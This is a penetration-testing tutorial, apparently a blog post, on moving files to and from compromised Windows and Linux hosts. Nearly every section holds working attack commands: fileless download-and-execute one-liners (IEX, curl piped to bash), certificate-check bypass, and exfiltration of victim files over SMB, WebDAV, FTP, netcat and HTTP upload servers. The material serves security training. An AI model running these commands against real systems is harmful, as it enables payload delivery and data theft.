File Transferring Techniques
File transfer is an important skill that can help you transfer data, such as payloads or files of interest, from the attacker machine to the victim host, and vice versa.
File Transfer Techniques For Windows
File Transfer To Windows Target Host
We have access to a Windows machine and need to transfer a file from our attack machine to the target. Let’s learn how.
Using PowerShell To Encoding & Decoding Base64
1
2
root@kakarot$ cat file | base64 -w 0; echo
Base64 Encode...
1
PS C:\neo> [IO.File]::WriteAllBytes("C:\Users\Public\file", [Convert]::FromBase64String("Base64 Encode Here"))
After this oparation we can check if our file was transferred successfully using md5sum for linux and Get-FileHash for windows
1
root@kakarot$ md5sum file
1
PS C:\neo> Get-FileHash C:\Users\Public\file -Algorithm md5
This method is easy, but it has limits. On Windows, the Command Line can handle up to
8191characters, and sending very long strings via a web shell may cause errors.
Using SMB
1
root@kakarot$ impacket-smbserver -smb2support <ShareName> <SharePath>
1
C:\\neo> copy \\<IP>\<ShareName>\<File> <DestinationPath>
Unauthenticated guest access is blocked on new versions of Windows, so we need to set a
usernameandpassword
1
root@kakarot$ impacket-smbserver -smb2support <ShareName> <SharePath> -user neo -password neo@3301
1
C:\neo> net use K: \\<IP>\<ShareNmae> /user:neo neo@3301
Using FTP
We can create an FTP server easily with pyftpdlib Python3 module.
1
root@kakarot$ pip3 install pyftpdlib
1
root@kakarot$ python3 -m pyftpdlib --port 21 #Default port is 2121
Now let’s download our file from windows machine.
1
PS C:\neo> (New-Object Net.WebClient).DownloadFile('ftp://<IP>/<FileName>', 'C:\Users\Public\<FileNmae>')
If we don’t have an
interactive shell, we can create a text file containing FTP commands and let the FTP client execute it automatically to download the desired file without manual input
1
2
3
4
5
6
7
8
9
10
11
C:\neo> echo open <IP> > commandsfile.txt
C:\neo> echo USER anonymous >> commandsfile.txt
C:\neo> echo binary >> commandsfile.txt
C:\neo> echo GET <FileName> >> commandsfile.txt
C:\neo> echo bye >> commandsfile.txt
C:\neo> ftp -v -n -s:commandsfile.txt
ftp> open <FTP>
ftp> binary
ftp> GET <FileName>
ftp> bye
Using PowerShell Web
Most companies keep HTTP and HTTPS open through the firewall so employees can get their work done, which also makes these protocols handy for transferring files. That said, security teams often use web filters to limit access or block certain downloads.
PowerShell makes file transfers pretty easy too, you can use the System.Net.WebClient class to grab files over HTTP, HTTPS, or even FTP in a few different ways.
| Method | Description |
|---|---|
| OpenRead | Establishes a connection to the specified resource and retrieves the data as a readable Stream, allowing sequential access to the content. |
| OpenReadAsync | Initiates an asynchronous operation to open a connection and retrieve the resource as a Stream, enabling non-blocking execution of the calling thread. |
| DownloadData | Downloads the resource data from the specified URI and returns it as a byte array, suitable for binary data processing. |
| DownloadDataAsync | Performs an asynchronous download of the resource and returns the result as a byte array once the operation completes, without pausing the calling thread. |
| DownloadFile | Retrieves the resource from the specified URI and saves it directly to a local file path on the system. |
| DownloadFileAsync | Executes an asynchronous file download from the specified URI and writes it to a local file, allowing the main thread to continue running concurrently. |
| DownloadString | Downloads textual content from the specified URI and returns it as a string, typically used for reading web pages or text-based data. |
| DownloadStringAsync | Asynchronously retrieves textual data from a resource and returns it as a string, preventing the calling thread from being blocked during the operation. |
| OpenWrite | Opens a writable Stream to the specified resource, allowing data to be uploaded directly to the server. |
| OpenWriteAsync | Initiates an asynchronous operation to open a writable Stream for uploading data to the server without blocking the calling thread. |
Net.WebClient class with DownloadFile and DownloadFileAsync methods :
1
PS C:\neo> (New-Object Net.WebClient).DownloadFile('<FileURL>','<DestinationPath>')
1
PS C:\neo> (New-Object Net.WebClient).DownloadFileAsync('<FileURL>','<DestinationPath>')
Fileless attacks rely on using OS functions to download code and execute it directly in memory, for example, PowerShell can run a script from the internet via Invoke-Expression (or IEX) instead of saving it to disk.
1
PS C:\neo> IEX (New-Object Net.WebClient).DownloadString('<FileURL>')
We can use pipeline with IEX:
1
PS C:\neo> (New-Object Net.WebClient).DownloadString('<FileURL>') | IEX
We can also use Invoke-WebRequest, but it’s better to use iwr, curl, or wget since it’s slower for downloading files.
1
PS C:\neo> Invoke-WebRequest <FileURL> -OutFile <DestinationPath>
Learn More About That !
Sometimes
Invoke-WebRequesttrips up because the Internet Explorer engine or itsfirst‑runsetup isn’t ready. If that happens, try the basic parser:
1
PS C:\neo> Invoke-WebRequest https://<IP>/<FileName> -UseBasicParsing | IEX
HTTPSdownloads can choke on untrustedcerts, so you canbypasscertificate checks for the session.
1
PS C:\neo> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
File Transfer From Windows Target Host
Using PowerShell To Encoding & Decoding Base64
1
PS C:\neo> [Convert]::ToBase64String((Get-Content -path "C:\Users\Public\file" -Encoding byte))
1
root@kakarot$ echo <Base64 Encode Here> | base64 -d > file
Finally, we can check file with md5sum
Using SMB
Companies often block
SMBtraffic for security reasons, soSMBcan use WebDAV to transfer files overHTTPorHTTPSinstead.
Install Python modules:
1
root@kakarot$ pip3 install wsgidav cheroot
Run WebDav:
1
root@kakarot$ wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Connect to the share using the DavWWWRoot directory:
1
C:\neo> dir \\<IP>\DavWWWRoot
DavWWWRootis a special Windows keyword that points to the root of a WebDAV server, it’s not an actual folder on the server. To avoid using it, connect directly to an existing folder, e.g.\\<IP>\<FolderNmae>.
Upload files via WebDAV:
1
2
C:\neo> copy C:\Users\administator\Documents\IT-Project.zip \\<IP>\DavWWWRoot\
C:\neo> copy C:\Users\administator\Documents\IT-project.zip \\<IP>\<FolderNmae>\
We can use also
impacket-smbserverif port 445 is not blocked.
Using FTP
Run FTP Server:
1
root@kakarot$ python3 -m pyftpdlib --port 21 --write
Upload files via FTP using PowerShell
1
PS C:\neo> (New-Object Net.WebClient).UploadFile('ftp://<IP>/<FileNmae>', 'C:\Users\neo\Desktop\<FIleNmae>')
Using Command File:
1
2
3
4
5
6
7
8
9
10
11
12
C:\neo> echo open <IP> > ftpcommand.txt
C:\neo> echo USER anonymous >> ftpcommand.txt
C:\neo> echo binary >> ftpcommand.txt
C:\neo> echo PUT c:\Users\neo\Desktop\<FileNmae> >> ftpcommand.txt
C:\neo> echo bye >> ftpcommand.txt
C:\neo> ftp -v -n -s:ftpcommand.txt
ftp> open <IP>
ftp> USER anonymous
ftp> PUT c:\Users\neo\Desktop\<FileNmae>
ftp> bye
Using PowerShell Web
PowerShell has no built-in upload, so use Invoke-WebRequest or Invoke-RestMethod and run a Python upload server (e.g., uploadserver).
1
root@kakarot$ pip3 install uploadserver
1
root@kakarot$ python3 -m uploadserver
Now we use a PowerShell script called PSUpload.ps1 that uses Invoke-RestMethod to upload files, it accepts -File (file path) and -Uri (server URL).
1
PS C:\neo> Invoke-FileUpload -Uri <UploadServerURL> -File <FileToUpload>
Using PowerShell Base64 & Ncat
1
2
PS C:\neo> $b64 = [System.convert]::ToBase64String((Get-Content -Path '<FilePath>' -Encoding Byte))
PS C:\neo> Invoke-WebRequest -Uri <ServerURL> -Method POST -Body $b64
1
root@kakarot$ nc -lvnp 8000
1
root@kakarot$ echo <base64> | base64 -d -w 0 > <FileNameToSave>
File Transfer Techniques For Linux
File Transfer To Linux Target Host
Using Base64 Encoding & Decoding
Encoding:
1
root@kakarot$ cat <FileNmae> | base64 -w 0;echo
cat: To print the content of the file.
-w 0: Only one line.
;echo: Srart new line for easy copy.
Decoding:
1
root@kakarot echo -n <'Base64'> | base64 -d
-n: Do not output the trailing newline.
You can check it with
md5sum.
Using Wget & cURL
With Wget:
1
root@kakarot$ wget <FileURL> -O [FileNameToSave]
With cURL:
1
root@kakarot$ curl -o <FileURL>
Using Fileless Attack
With Wget:
1
root@kakarot$ curl <FileURL> | bash
With cURL:
1
root@kakarot$ wget -qO- <PythonFileURL> | python3
Some techniques (for example, creating a named pipe with
mkfifo) leave filesystem artifacts, even if execution uses a pipe and appears fileless, the payload may still create temporary files or pipes on the OS.
Using Bash
We can use this method if the previous methods are not available.
If you are using zsh, switch to bash by typing
bashat your terminal prompt and pressing Enter. Then follow this method:
Start a simple python webserver on our attack machine:
1
root@kakarot$ python3 -m http.server <PORT>
From the target machine inside bash open a TCP connection, send a proper HTTP request, then read the response:
1
root@kakarot$ exec 3<>/dev/tcp/<IP>/<PORT>
1
root@kakarot$ echo -e "GET /<FileName> HTTP/1.1\n\n">&3
1
root@kakarot$ cat <&3
Using SSH
On your attack machine, enable and start the SSH daemon:
Many distributions name the service
sshdrather thanssh.
1
root@kakarot$ systemctl enable ssh #Enable SSH to start at boot
1
root@kakarot$ systemctl start ssh #Start the SSH service now
1
root@kakarot$ systemctl status ssh #Check service status
Verify listening ports:
1
root@kakarot$ netstat -lnpt #Listening Ports
Or:
1
root@kakarot$ ss -tulnp
Downloading files:
1
root@kakarot$ scp <username>@<IP>:<PathToFile> . #The dote means save file in the current path.
Downloading directory:
1
root@kakarot$ scp -r <username>@<IP>:<PathToDir> . #The dote means save folder in the current path.
File Transfer From Linux Target Host
Using Web Upload
Install uploadserver Python module for the current user:
1
root@kakarot$ python3 -m pip install --user uploadserver
**Generate a self-signed cert to secure our HTTP connection: **
1
root@kakarot$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Make a new folder for our upload page:
Don’t save the cert on some webpage folder !
1
root@kakarot$ mkdir UploadFolder && cd UploadFolder
Running HTTPS server using uploadserver:
1
root@kakarot$ python3 -m uploadserver 443 --server-certificate ~/server.pem
Upload files:
1
root@kakarot$ curl -X POST https://<IP>/upload -F 'files=@<FilePath1>' -F 'files=@<FilePath2>' -k
-kor--insecure: Using this option makes the transfer insecure.
Using Web Easy Ways
Python2.7 - Simple Web Server:
1
root@kakarot$ python2.7 -m SimpleHTTPServer
Python3 - Simple Web Server:
1
root@kakarot$ python3 -m http.server
PHP - Simple Web Server:
1
root@kakarot$ php -S 0.0.0.0:8000
Ruby - Simple Web Server:
1
root@kakarot$ ruby -run -ehttpd . -p8000
Using SCP
1
root@kakarot$ scp <FilePath> <username>@<IP>:<PathToSave>
File Transfer via Scripting Languages
Recent Linux distributions often come with different programming languages already installed, such as Python, Perl, Ruby, or PHP. We can also run VBScript or JavaScript on Windows by using applications such as cscript and mshta. This section explores how these languages, and even built-in Windows tools, can be used for transferring files.
We will use
LinPeasas an example of a downloaded file.
Using Python
Python2.7:
1
root@kakarot$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "linpeas.sh")'
Python3:
1
root@kakarot$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "linpeas.sh")'
Using PHP
Fopen Module:
1
2
root@kakarot$ php -r 'const BUFFER = 1024; $fremote =
fopen("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "rb"); $flocal = fopen("linpeas.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
File_get_contents & File_put_contents Modules:
1
root@kakarot$ php -r '$file = file_get_contents("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"); file_put_contents("linpeas.sh",$file);'
Fileless Attack:
1
root@kakarot$ php -r '$lines = @file("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Learn More About PHP Modules !
Using Ruby
1
root@kakarot$ ruby -e 'require "net/http"; File.write("linpeas.sh", Net::HTTP.get(URI.parse("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh")))'
Using Perl
1
root@kakarot$ perl -e 'use LWP::Simple; getstore("https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh", "linpeas.sh");'
Using JavaScript
With cscript:
Save this Javascript code on .js file like download.js:
1
2
3
4
5
6
7
8
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Then we can use this script from our CMD or PoweShell to download file:
1
C:\neo> cscript.exe /nologo download.js https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1 winPEAS.ps1
With mshta:
Save this HTML code on .hta file like download.hta:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<head>
<HTA:APPLICATION ID="dwn" APPLICATIONNAME="MiniDownloader" />
<script language="javascript">
try {
var raw = dwn.commandLine || "";
var m = raw.match(/"([^"]+)"|(\S+)/g) || [];
var args = m.map(x => x.replace(/"/g,""));
if (args.length && args[0].toLowerCase().endsWith(".hta")) args.shift();
if (args.length < 2) { window.close(); }
var url = args[0];
var out = args[1];
if (!/^https?:\/\//i.test(url)) { window.close(); }
var x = new ActiveXObject("MSXML2.XMLHTTP");
x.open("GET", url, false);
x.send();
if (x.status != 200) { window.close(); }
var s = new ActiveXObject("ADODB.Stream");
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(out, 2);
s.Close();
window.close();
} catch(e) {
try { window.close(); } catch(_) {}
}
</script>
</head>
<body></body>
</html>
Then running this script:
1
C:\neo> mshta.exe "download.hta" "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1" "winPEAS.ps1"
Using VBScript
VBScript is a lightweight scripting language developed by Microsoft and derived from Visual Basic. Although it lacks some of the advanced capabilities of full Visual Basic, it remains a versatile tool that allows developers to create interactive and dynamic web pages with ease.
Save this script on .vbs file like download.vbs:
1
2
3
4
5
6
7
8
9
10
11
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Then running this script:
1
C:\neo> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1 winPEAS.ps1
Upload Using Python
Starting a simple uploadserver module
1
root@kakarot$ python3 -m uploadserver
Now, we can use this Python code to upload our file:
1
2
3
4
5
6
7
8
9
10
11
# Import the requests library for HTTP protocol operations
import requests
# Initialize the target endpoint URL for file upload destination
URL = "http://<IP>:8000/upload"
# Open the system password file in binary read mode for byte-level access
file = open("<FilePath>","rb")
# Execute HTTP POST request with multipart/form-data encoding for file transfer
r = requests.post(URL, files={"files":file})
Or this onliner Python code:
1
root@kakarot$ python3 -c 'import requests;requests.post("http://<IP>:8000/upload",files={"files":open("<FilePath>","rb")})'
Alternative Ways to Transfer Files
Using Ncat & NetCat
The goal is to transfer a file from the attacker host to the target host via two different processes:
Process 1: The target machine listens as a
listener, and the attacker machine connects as aclient.
We run Netcat or Ncat in server (listening) mode on the compromised machine, and any data it receives is routed to a local file:
1
root@target$ nc -l -p 7000 > file
-lor--listen: Bind and listen for incoming connections.
-por--source-port port: Specify source port to use
With
Ncatwe’ll need to specify--recv-onlyto close the connection when the file transfer is finished.
Now, on the attack machine, we run Netcat or Ncat in client mode to connect to the compromised machine and send the file contents:
1
root@kakarot$ nc -q 0 <IP> 7000 < file
-q: After EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.
With
Ncatwe’ll need to specify--send-onlyits similar to-q 0inNetcat, it tellsNcatto terminate the connection as soon as it finishes sending data.
Process 2: The attacking machine listens as a
listener, and the compromised machine connects as aclient.
Here, the attack machine listens, and when someone connect on it, it sends the file immediately:
1
root@kakarot$ nc -l -p 443 -q 0 < file
Or
1
root@kakarot$ ncat -l -p 443 --send-only < file
Now, on the compromised machine, we connect to the attack machine to receive the file.
1
root@target$ nc <IP> 443 > file
Or
1
root@target ncat <IP> 443 --recv-only > file
If the
NetcatorNcattool is not available on the compromised machine, a built-in property in Bash called /dev/tcp can be used.
1
root@kakarot$ nc -l -p 443 -q 0 < file
Or
1
root@kakarot ncat -l -p 443 --send-only < file
On the compromised machine:
1
root@target$ cat < /dev/tcp/<IP>/443 > file
Using PowerShell Session
When traditional transport protocols such as HTTP, HTTPS, or SMB are unavailable or blocked, PowerShell Remoting (also known as WinRM) can be used as an alternative channel to remotely execute commands and, if needed, transfer files between systems.
PowerShell Remoting is a mechanism that allows commands and scripts to be executed on remote computers using PowerShell sessions. It is commonly used by system administrators to manage remote machines across a network. It operates on the following default ports:
• TCP 5985 for HTTP
• TCP 5986 for HTTPS
To establish a PowerShell Remoting session, you need administrative privileges on the remote machine, be a member of the Remote Management Users group, or have explicit permissions granted for PowerShell Remoting in the session configuration.
In our example: WORKSTATION01: Local computer (starting point) - 10.1.1.50 SERVER02: Remote computer (target) - 10.1.1.25 User: ANON\neo (has administrative privileges)
Step 1: Identify and verify the environment:
1
2
PS C:\Users\neo> whoami
ANON\neo
1
2
PS C:\Users\neo> hostname
WORKSTATION01
Step 2: Test the accessibility of the WinRM service:
1
2
3
4
5
6
7
8
PS C:\Users\neo> Test-NetConnection -ComputerName SERVER02 -Port 5985
ComputerName : SERVER02
RemoteAddress : 10.1.1.25
RemotePort : 5985
InterfaceAlias : Ethernet
SourceAddress : 10.1.1.50
TcpTestSucceeded : True
A result of True indicates a successful connection, confirming that the PowerShell Remoting service is active and available.
Step 3: Establish a remote session:
1
PS C:\Users\neo> $RemoteSession = New-PSSession -ComputerName SERVER02
New-PSSession: Creates a remote connection session
-ComputerNameSERVER02: Specifies the target machine
$RemoteSession: Stores the session for reuse
Step 4: File Transfers:
Sending a file from the local host to the remote host:
1
PS C:\Users\neo> Copy-Item -Path "<LocalFilePath>" -ToSession $RemoteSession -Destination "<RemoteSavePath>"
Copying a file from the remote host to the local host:
1
PS C:\Users\neo> Copy-Item -Path "<RemoteFilePath>" -FromSession $RemoteSession -Destination "<LocalSavePath>"
Using RDP
We can mout a linux folder using xfreerdp or rdektop.
xfreerdp:
1
root@kakarot$ xfreerdp /v:<IP> /d:<Domain> /u:<USER> /p:'<PASS>' /drive:linux,/home/neo/Desktop/id_rsa
rdektop:
1
root@kakarot$ rdesktop <IP> -d <Domain> -u <USER> -p '<PASS>' -r disk:linux='/home/neo/Desktop/ida_rsa'
After connecting to the remote session, we open
File Exploreron the remote machine and navigate to\\tsclient\, where we will find thelocal folderwe mount.
Implementation from Windows systems
Windows > mstsc.exe (Remote Desktop Connection) > Show Options > Local Resources > More… > Drives > Select Drive > Connect > Access via \tsclient\

